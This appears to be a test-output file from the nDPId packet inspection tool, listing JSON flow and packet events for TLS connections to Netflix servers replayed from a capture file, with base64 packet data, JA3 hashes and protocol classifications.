+00432{"flow_id":7,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":72,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":156629,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"gCqoTGHM5JjWH70UCABFAAA6cE1AAEAGEH3AqAEHNCDEJM98AbvweU5fS1mRpYAYEABTBAAAAQEICh9kuSS2m8V+FAMDAAEB"} +00487{"flow_id":7,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":73,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":156824,"pkt_caplen":111,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":111,"pkt_l4_len":77,"pkt":"gCqoTGHM5JjWH70UCABFAABhsGZAAEAG0DzAqAEHNCDEJM98AbvweU5lS1mRpYAYEADqBQAAAQEICh9kuSS2m8V+FgMDACjlSgAgUYXMsof1DpC5CynTpNAzuyi9sBa3EwhmoZG\/TY6BWCHTz8kM"} +00424{"flow_id":6,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":78,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":196275,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA0CCpAACkGj4Y0IMQkwKgBBwG7z3ve3dlux8tL1YAQAEvKoAAAAQEICrabxZgfZLkg"} +00495{"flow_id":6,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":79,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":197359,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"5JjWH70UgCqoTGHMCABFIABnCCtAACkGj1I0IMQkwKgBBwG7z3ve3dlux8tL1YAYAEtrMwAAAQEICrabxZgfZLkgFAMDAAEBFgMDACiZx7iozMcllxX1E3JwBmmUnboKo+I1T\/++gGjtramWR05YssbIHNQG"} +00424{"flow_id":7,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":81,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":199353,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA0QOxAACoGVcQ0IMQkwKgBBwG7z3xLWZGl8HlOkoAQAEt6fQAAAQEICrabxZkfZLkk"} +00494{"flow_id":7,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":82,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":199774,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"5JjWH70UgCqoTGHMCABFIABnQO1AACoGVZA0IMQkwKgBBwG7z3xLWZGl8HlOkoAYAEuD1wAAAQEICrabxZkfZLkkFAMDAAEBFgMDACjyIC+sdvpS94pBwdWNxLhPGkVOONiqg+nGftLyGpRBV7Na8Z6XYe7o"} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":87,"source":"netflix.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1484319033206,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.32.196.36","src_port":53117,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":87,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":206431,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABAagpAAEAGFrrAqAEHNCDEJM99AbszkZRgAAAAALAC\/\/8LKQAAAgQFtAEDAwUBAQgKH2S5UQAAAAAEAgAA"} +00435{"flow_id":8,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":99,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":258390,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"5JjWH70UgCqoTGHMCABFIAA8AABAACoGlqg0IMQkwKgBBwG7z33SmoRGM5GUYaASReoDCgAAAgQFtAQCCAq2m8WoH2S5UQEDAwg="} +00424{"flow_id":8,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":100,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":259678,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0m4FAAEAG5U7AqAEHNCDEJM99AbszkZRh0pqER4AQEBVneAAAAQEICh9kuYW2m8Wo"} +00710{"flow_id":8,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":101,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":261891,"pkt_caplen":274,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":274,"pkt_l4_len":240,"pkt":"gCqoTGHM5JjWH70UCABFAAEEjf5AAEAG8gHAqAEHNCDEJM99AbszkZRh0pqER4AYEBXfdQAAAQEICh9kuYe2m8WoFgMBAMsBAADHAwNYeOk5L\/hvHF8lhL712a\/A3K+7eM0TUzNDC5BydZXwIiBWLEL7mQRMMcaBC1F+lWnOx+fqhp3XmUAyc5sg8zTJFwAmAP\/ALMArwCTAI8AKwAnAMMAvwCjAJ8AUwBMAnQCcAD0APAA1AC8BAABYAAAAGwAZAAAWYXBpLWdsb2JhbC5uZXRmbGl4LmNvbQAKAAgABgAXABgAGQALAAIBAAANABIAEAQBAgEFAQYBBAMCAwUDBgMABQAFAQAAAAAAEgAAABcAAA=="} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":101,"source":"netflix.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":4,"flow_first_seen":1484319033206,"flow_last_seen":1484319033261,"flow_tot_l4_data_len":356,"flow_min_l4_data_len":32,"flow_max_l4_data_len":240,"flow_avg_l4_data_len":89,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.32.196.36","src_port":53117,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"api-global.netflix.com","ja3":"7e72698146290dd68239f788a452e7d8","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00424{"flow_id":8,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":102,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":311591,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA0QfNAACoGVL00IMQkwKgBBwG7z33SmoRHM5GVMYAQAEt2YwAAAQEICrabxbUfZLmH"} +00625{"flow_id":8,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":103,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":312558,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"5JjWH70UgCqoTGHMCABFIADFQfRAACoGVCs0IMQkwKgBBwG7z33SmoRHM5GVMYAYAEuOnAAAAQEICrabxbUfZLmHFgMDAFkCAABVAwNYeOk5B1WkFxgHC31pvIYeDxaWInHvqR4tWm2ZaAIcFSBWLEL7mQRMMcaBC1F+lWnOx+fqhp3XmUAyc5sg8zTJF8AvAAAN\/wEAAQAACwAEAwABAhQDAwABARYDAwAok9fCDYUPoj52\/7bWkXpubOWKuws2NbqIamQurbKaJlfPfN1Qd4gP1Q=="} +00815{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":103,"source":"netflix.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":6,"flow_first_seen":1484319033206,"flow_last_seen":1484319033312,"flow_tot_l4_data_len":565,"flow_min_l4_data_len":32,"flow_max_l4_data_len":240,"flow_avg_l4_data_len":94,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.32.196.36","src_port":53117,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"api-global.netflix.com","ja3":"7e72698146290dd68239f788a452e7d8","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256"}} +00424{"flow_id":8,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":104,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":313958,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0XflAAEAGItfAqAEHNCDEJM99AbszkZUx0pqE2IAQEBFl2QAAAQEICh9kubq2m8W1"} +00432{"flow_id":8,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":105,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":315618,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"gCqoTGHM5JjWH70UCABFAAA6c+RAAEAGDObAqAEHNCDEJM99AbszkZUx0pqE2IAYEBFNxgAAAQEICh9kubu2m8W1FAMDAAEB"} +00489{"flow_id":8,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":106,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":315983,"pkt_caplen":111,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":111,"pkt_l4_len":77,"pkt":"gCqoTGHM5JjWH70UCABFAABh3lNAAEAGok\/AqAEHNCDEJM99AbszkZU30pqE2IAYEBEFDQAAAQEICh9kubu2m8W1FgMDACgq+RBR8THTcjMRmpcYU6jStsCmqjcV10RMxOYwlzzQAaSL47\/L\/6Qd"} +00755{"flow_id":8,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":107,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":318440,"pkt_caplen":309,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":309,"pkt_l4_len":275,"pkt":"gCqoTGHM5JjWH70UCABFAAEne+pAAEAGA\/PAqAEHNCDEJM99AbszkZVk0pqE2IAYEBGthwAAAQEICh9kub22m8W1FwMDAO4q+RBR8THTczVIHAR47QWihLZkYMeevxjQhcpNgqfifZeOMb577YwzOL1WmGxVk44+ojUGHdb9UBSbaV5B9mWxDR4YseQII3vl9XcRLDW+ongGMo8mM60rHi4zH6PhdEmbbjqEfeWjgsQMfQ0W92y2rsPaleedeHKHI1ut\/rhqMYCl4N2shaqOhM7sxGMTG5sDu8YE89xzSDGoE+gBVLWBx96z4iAbWtgeWPUvHQzgz8CkOG+JOuIMFk4FNSpPepBo6JxqemKl\/+ljTz+ElSeITiqcQaa94RZpeITQysmQTVSgWBneaopglD3iIyUj"} +00425{"flow_id":8,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":118,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":362784,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA0QfVAACoGVLs0IMQkwKgBBwG7z33SmoTYM5GVZIAQAEt1XgAAAQEICrabxcIfZLm7"} +01677{"flow_id":8,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":119,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":375850,"pkt_caplen":989,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":989,"pkt_l4_len":955,"pkt":"5JjWH70UgCqoTGHMCABFIAPPQfZAACoGUR80IMQkwKgBBwG7z33SmoTYM5GWV4AYAE+rowAAAQEICrabxcUfZLm9FwMDA5aT18INhQ+iP1ie+V1wB25Mo+wIHVUEAHybP3NDiUxw48l9Bcaxxscx8JY\/\/TWnw5uksUW3gwM0unAshd2qRhZQwUrm3ZyDSL4i957ER9JKMVtW6t7SbZ45NkJQQr8d4lb97HDtCG2MUk299k5almKoJIwSLlHG\/usWPqkTknWFVFVf1+ee8n5AWiFiY\/E3P9yjSXpHiwg0GZ64Zn555iySLvLfiVKGsn3FzdtEnPsAalLiizqtrMZFzSSi\/o2damnMpOkczXA62FbbOOVExeO2AHyVoPffnu4tjvnJ0igyWKgxqj04IhToMYZGoHgUJedibpp3\/rwvUbMkaVJ2USi+1F9V2vQ2pBZq1L+cTh4ejj62Kd4qFt+Zv9ZodnMhw52C+YzNw+GTte+ICNLZSOtjFoc2Am10wdogp6KLB3e\/z1wD8LoNgZOkrFTGcizCvJo4+JnOQUxftYYdrj5ZwMJZ++oc3+GhmnUfrpsY5BuZiG8dFy2yWBQZlXMfpx+JziWJE0EqBVcPPDxUk35wtDtRXxDg6EbGst\/BLT0utLGx57WZghbhlHP\/f0W3XvM1HatIWoQhYzbaZXQ\/HwYGuEWececMEAngWw9N+Omn5feZV7X4Jipc2dDGzOpeYAirgzuqo5tMmjKJPzvRLIpW5sef6jZjxMbws0oiX2PiTcPXDH6yRFGiRNt0jPrXIGitWXpg3HIlc4zFfPTiJmbjwqxnrmTG7H46FuKdmcK+rE753lvxdm0Z2\/1cuaU6cImkXytZCmxdUUNTJ6Y3kHM7+kxuIq0LTKWUqicD5eoDKJgQWyQn0QQjCN0LUObLMeNfeDAiMWiZq\/by\/uk+VpZwsVKEbh5uOYovFpquPUEA61nsKHUbROF\/78SzVmodeJ49c2V8vQh8txh+HBMBO+\/ESHA\/GbUDb+zOWUinByyGh5r+PP9N65y2xXUpV8Rss4uFTmY8fppLfOiDAUKYYAzzZ9KjZj5PcjMi31XYxDwJcg2XXAGyK8NwFw5X3qduwQkts0En\/7HyKBKDqeBXHTmw6QPo7GXJyyeCuRehJ5EXuYEMCOninzx2MhlZzGi4CllALpWhLla4Hro8WBoK3AZ48zVEOXpSYFzwiPTHj1G6ac9wWh+hdHZhsuIZsUWbJIpN7xzqwHRxM5rSGggNup8nAnXgPbhUUrpxJ7k1+ochWfNjc9xBpW35SDmgwXph8eJgpy9LG65s++g="} +00549{"flow_id":8,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":120,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":375986,"pkt_caplen":154,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":154,"pkt_l4_len":120,"pkt":"5JjWH70UgCqoTGHMCABFIACMQfdAACoGVGE0IMQkwKgBBwG7z33SmohzM5GWV4AYAE\/SkQAAAQEICrabxcUfZLm9FwMDAFOT18INhQ+iQOqqD1N1tEAl8lM2OzeUnmIoUkoyqfK36v8V68SxCq4q7xmiuD45rfh9ar4RF04LJ+4MXmY8mKYyZiBlFXiyPIQQxvMLH2jJ1bB6Xw=="} +00426{"flow_id":8,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":121,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":377664,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0lnxAAEAG6lPAqAEHNCDEJM99AbszkZZX0pqIc4AQD\/Rg6QAAAQEICh9kufa2m8XF"} +00426{"flow_id":8,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":122,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":377967,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0XbdAAEAGIxnAqAEHNCDEJM99AbszkZZX0pqIy4AQD\/FglAAAAQEICh9kufa2m8XF"} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":143,"source":"netflix.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1484319033631,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"54.69.204.241","src_port":53118,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":143,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":631945,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABAVMpAAEAGIQjAqAEHNkXM8c9+AbvPvqpAAAAAALAC\/\/9MiwAAAgQFtAEDAwUBAQgKH2S67gAAAAAEAgAA"} +00437{"flow_id":9,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":144,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":678956,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"5JjWH70UgCqoTGHMCABFIAA8AABAACoGi7Y2RczxwKgBBwG7z36\/HDHnz76qQaASRepQUQAAAgQFtAQCCAqFp1CVH2S67gEDAwg="} +00425{"flow_id":9,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":145,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":680304,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0\/p1AAEAGd0DAqAEHNkXM8c9+AbvPvqpBvxwx6IAQEBW0wwAAAQEICh9kux6Fp1CV"} +00737{"flow_id":9,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":146,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":681980,"pkt_caplen":295,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":295,"pkt_l4_len":261,"pkt":"gCqoTGHM5JjWH70UCABFAAEZsrxAAEAGwjzAqAEHNkXM8c9+AbvPvqpBvxwx6IAYEBWxNAAAAQEICh9kux+Fp1CVFgMBAOABAADcAwNYeOk5uUi+rD99Z+Le1911L3kiB9I95LIt9NFo8L\/pTgAAJgD\/wCzAK8AkwCPACsAJwDDAL8AowCfAFMATAJ0AnAA9ADwANQAvAQAAjQAAABgAFgAAE2ljaG5hZWEubmV0ZmxpeC5jb20ACgAIAAYAFwAYABkACwACAQAADQASABAEAQIBBQEGAQQDAgMFAwYDM3QAAAAQADAALgJoMgVoMi0xNgVoMi0xNQVoMi0xNAhzcGR5LzMuMQZzcGR5LzMIaHR0cC8xLjEABQAFAQAAAAAAEgAAABcAAA=="} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":146,"source":"netflix.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":4,"flow_first_seen":1484319033631,"flow_last_seen":1484319033681,"flow_tot_l4_data_len":377,"flow_min_l4_data_len":32,"flow_max_l4_data_len":261,"flow_avg_l4_data_len":94,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"54.69.204.241","src_port":53118,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"ichnaea.netflix.com","ja3":"c07cb55f88702033a8f52c046d23e0b2","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,h2-16,h2-15,h2-14,spdy\/3.1,spdy\/3,http\/1.1"}} +00425{"flow_id":9,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":147,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":732036,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA0YUhAACoGKnY2RczxwKgBBwG7z36\/HDHoz76rJoAQAEvDmgAAAQEICoWnUKIfZLsf"} +02379{"flow_id":9,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":148,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319033,"pkt_ts_usec":734598,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcYUlAACoGJM02RczxwKgBBwG7z36\/HDHoz76rJoAQAEtCSAAAAQEICoWnUKMfZLsfFgMDAFkCAABVAwNYeOk5JwKZaCm0T9BkHEGN7BD63up8ZlWasw7vsvdybSD6dgfGNYIoV6eFiCl\/QZwE+qp97TNaaL7oh1jX8\/GrscAvAAAN\/wEAAQAACwAEAwABAhYDAwo1CwAKMQAKLgAFDzCCBQswggPzoAMCAQICEBUE9lSWJBH1oKEWtt+LI6kwDQYJKoZIhvcNAQELBQAwfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDAeFw0xNjA0MTIwMDAwMDBaFw0xODA0MTAyMzU5NTlaMIGBMQswCQYDVQQGEwJVUzETMBEGA1UECAwKQ2FsaWZvcm5pYTESMBAGA1UEBwwJbG9zIGdhdG9zMRYwFAYDVQQKDA1OZXRmbGl4LCBJbmMuMQwwCgYDVQQLDANPcHMxIzAhBgNVBAMMGmN1c3RvbWVyZXZlbnRzLm5ldGZsaXguY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5NWCfffj1fH2w7Mcey7bCuVjmU9eYoCt0LQXtABL8VbzHb0v4bvuXzERuentrt0KBRrXwGb1LNpWTCuYkQFsuSO+4A2oBicvehQTGBtisx0FbKBTLIsG1vAxiWHWx\/XTpvW3a5IDQ3ve\/mg0iN4F0RJTT7hORBeIfEAtcLaXH1n\/7BbB4evGBxadgu4wyTSlZcC3QyAKuqxcLKOgPPdViofYrGJ2ftzJYann157r\/0yi8mqc3eUn0g\/zUInV4h7\/h5s9Uj2esO0XEfaW0qv9A1L8eDpSXsQ6a\/uVCNNDZNT0nWamrF358P06wTnnFsnzkBLicvjy+KKQP469XywS3wIDAQABo4IBfzCCAXswgYkGA1UdEQSBgTB\/ghNpY2huYWVhLm5ldGZsaXguY29tghJiZWFjb24ubmV0ZmxpeC5jb22CIHByZXNlbnRhdGlvbnRyYWNraW5nLm5ldGZsaXguY29tghZubXRyYWNraW5nLm5ldGZsaXguY29tghpjdXN0b21lcmV2ZW50cy5uZXRmbGl4LmNvbTAJBgNVHRMEAjAAMA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwYQYDVR0gBFowWDBWBgZngQwBAgIwTDAjBggrBgEFBQcCARYXaHR0cHM6Ly9kLnN5bWNiLmNvbS9jcHMwJQYIKwYBBQUHAgIwGQwXaHR0cHM6Ly9kLnN5bWNiLmNvbS9ycGEwLwYIKwYBBQUHAQEEIzAhMB8GCCsGAQUFBzABhhNodHRwOi8vc3Muc3ltY2QuY29tMB8GA1UdIwQYMBaAFF9gz2GQVd+EQxSKYCqy9Xr0QxjvMA0GCSqGSIb3DQEBCwUAA4IBAQACFfXmfFLSJ3g83aH1lGay1TzWZVJJlcH5vHFDEXU12pMzmZON4XtuDhhFM85qNRHVp6dySN\/2NPneYQEAzEJszsoGpdoNA5+VkmVdkvaW+tPqbjD3DhRFe6FRMiYEvobEuXDMASh3pWeL+lILt4N4el138DFitlCElI7++tgmcN\/F97RxsNmqKLFE1juHjpRhzqx1ySvoyfKNksinLcJxJGh9TBRlC8+HlqzIWD5UwAIQyDpWGAcTm0CSFI62ZR44BA8HC+G2Cy4+heUb5tc6\/0A9WEHQESa7OfzrIaNQpvRwbE6iQMEgEU13QVkkGskdHHDxVn9L6REOhP7lsoXoAAUZMIIFFTCCA\/2gAwIBAgIQKC4nkXkzkuQo8iGnTsk3rjANBgkqhkiG9w0="} +00818{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":148,"source":"netflix.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":6,"flow_first_seen":1484319033631,"flow_last_seen":1484319033734,"flow_tot_l4_data_len":1889,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":314,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"54.69.204.241","src_port":53118,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"ichnaea.netflix.com","ja3":"c07cb55f88702033a8f52c046d23e0b2","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,h2-16,h2-15,h2-14,spdy\/3.1,spdy\/3,http\/1.1"}} 